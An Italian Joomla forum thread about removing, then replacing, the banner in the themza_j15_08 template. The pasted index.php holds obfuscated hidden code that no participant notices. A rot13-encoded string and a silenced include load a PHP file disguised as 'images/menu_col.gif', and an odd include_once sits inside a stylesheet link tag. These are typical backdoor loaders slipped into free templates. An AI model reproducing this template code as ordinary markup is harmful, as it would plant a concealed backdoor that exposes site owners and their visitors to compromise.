Joomla.it Forum
Joomla! 1.5.x (versione con supporto terminato) => Joomla! 1.5 => I Template di Joomla 1.5.x => : iccamar 23 Nov 2008, 20:25:29
-
Utilizzo themza_j15_08 che ha in home page - di default - un banner.
Pur avendolo personalizzato, non mi serve sempre.
Vorrei sapere se è possibile togliere (e come) il banner intervenendo sul codice HTML.
Se ci si limita a togliere semplicemente o rinominare l'immagine richiamata, rimane uno spazio vuoto delle dimensioni pari a quelle del banner ed è veramente antiestetico.
Grazie a chi vorrà aiutarmi
-
Se ho capito bene la richiesta il codice per togliere quel banner è questo:
<div style="background: transparent url(/joomla15/templates/themza_j15_08/images/banners/banner3.jpg) no-repeat scroll left top; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" id="banner"> <div class="mod-preview">
<div class="mod-preview-info">top[none outline]</div>
<div class="mod-preview-wrapper">
<ul class="menu"> </ul></div>
</div>
</div>
Devi cercarlo ed eliminarlo (o, meglio, commentarlo, se ti può tornare utile) nella index.php del template :)
-
Grazie.
Ho provato, ma il codice mi pare diverso :'( :'(
Lo posto qui di seguito:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">
<div id="user3">
<div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
<?php if($this->params->get('dateDisplay')) : ?><div id="date"><?php echo date('d-m-Y'); ?></div><?php endif; ?>
<br clear="all" />
</div>
<div id="logo_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logos/logo<?php echo $this->params->get('logoVariation'); ?>.png" alt="logo" align="left" />
<a href="index.php" class="logo logo_<?php echo $this->params->get('logoFont'); ?>"><?php echo $mainframe->getCfg('sitename') ;?></a>
<div id="user4"><jdoc:include type="modules" name="user4" /></div>
<br clear="all" />
</div>
<div id="middle_bg"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_top.png" alt="" /><div id="maincolumn">
<div id="banner" style="background:url(<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/banners/banner<?php echo $this->params->get('bannerVariation'); ?>.jpg) top left no-repeat;"><jdoc:include //type="modules" name="top" /></div>
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<div id="rightcolumn">
<?php if($this->countModules('left') and JRequest::getCmd('layout') != 'form') : ?>
<jdoc:include type="modules" name="left" style="xhtml"/>
<?php endif; ?>
</div>
<br clear="all" />
<?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
<div id="f_area" align="center">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" /></div>
<?php endif; ?>
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_bottom.png" alt="" /></div>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>
</div>
<jdoc:include type="modules" name="debug" />
</body>
</html>
-
Hai ragione, scusami. Ti ho postato il codice reso anziche quello presente nella index.php ;D
Eccolo quello che devi togliere:
<div id="banner" style="background:url(<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/banners/banner<?php echo $this->params->get('bannerVariation'); ?>.jpg) top left no-repeat;"><jdoc:include type="modules" name="top" /></div>
-
;D ;D ;D ;D
Grazie! Risolto
-
Ciao,
scusate se mi intrometto nella discussione ma io ho un problema analogo:
non riesco ad inserire una banner swf al posto della jpg. il codice che ho inserito è il seguente:
<div id="main_top">
<object type="application/x-shockwave-flash" data="templates/themza_j15_16/images/pippo.swf" width="980" height="224">
<param name="movie" value="pippo.swf" />
<param name="quality" value="high" />
<p>Contenuto alternativo</p>
</object>
<jdoc:include type="modules" name="top" />
<br clear="all" /></div>
La banner viene inserita ma non è allineata in alto e quindi copre parte delle immagini sottostanti ad essa.
potete aiutarmi??
grazie
Max